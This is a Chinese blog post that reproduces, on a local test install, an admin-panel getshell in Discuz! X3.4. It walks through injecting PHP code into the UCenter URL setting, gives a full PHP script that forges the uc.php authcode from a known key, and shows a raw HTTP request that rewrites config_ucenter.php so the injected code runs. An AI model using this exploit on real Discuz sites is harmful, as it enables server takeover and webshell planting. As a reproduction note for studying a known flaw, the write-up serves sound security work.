闲言碎语
昨天晚上某朋友问我 Discuz3.4 后台怎么Getshell,他本地复现不成功,正好今天有空复现一下也就有了本篇文章。
正题
下载 discuz3.4
点击下载
安装完成后进入后台

先修改 UCenter 通信密钥 为 123456
或者其他随意 后面要用
在 UCenter 访问地址 写入 ');phpinfo();//
一句话同理
点击保存
保存之后来到 root/config/config_ucenter.php
看看文件内是什么样的

发现用于闭合的单引号被转义 不过没关系 保存下面的 PHP 代码为PHP 文件 填入刚才设置的 UCenter 通信密钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <?php $uc_key="123456"; $time = time() + 720000; $str = "time=".$time."&action=updateapps"; $code = authcode($str,"ENCODE",$uc_key); $code = str_replace('+','%2b',$code); $code = str_replace('/','%2f',$code); echo $code;
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key != '' ? $key : '123456'); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
|
然后运行得到一个 code
复制下来

复制下来放入一下请求包 code=生成的code 自行替换包中的IP地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /api/uc.php?code=7ccd7YTX5u1XYPSfpN67ih3nCwZnvZUkVhwBXVTZ2DbbPtoy2P%2fd%2bTRpDTMtrgjM2zKwb4iInwLzMrDn5o0 HTTP/1.1 Host: 127.0.0.1:5779 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ar;q=0.8 Connection: close Content-Length: 118
<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://127.0.0.1:5779/uc_server</item> </root>
|
Burp Go放行

现在再来看看 root/config/config_ucenter.php

访问 http://127.0.0.1:5779/config/config_ucenter.php

复现成功
Tips:在Burp请求更新Uc_key的时候请勿开启BURP代理 否则无法更新成功
参考地址
Discuz!x3.4 后台修改UCenter配置getshell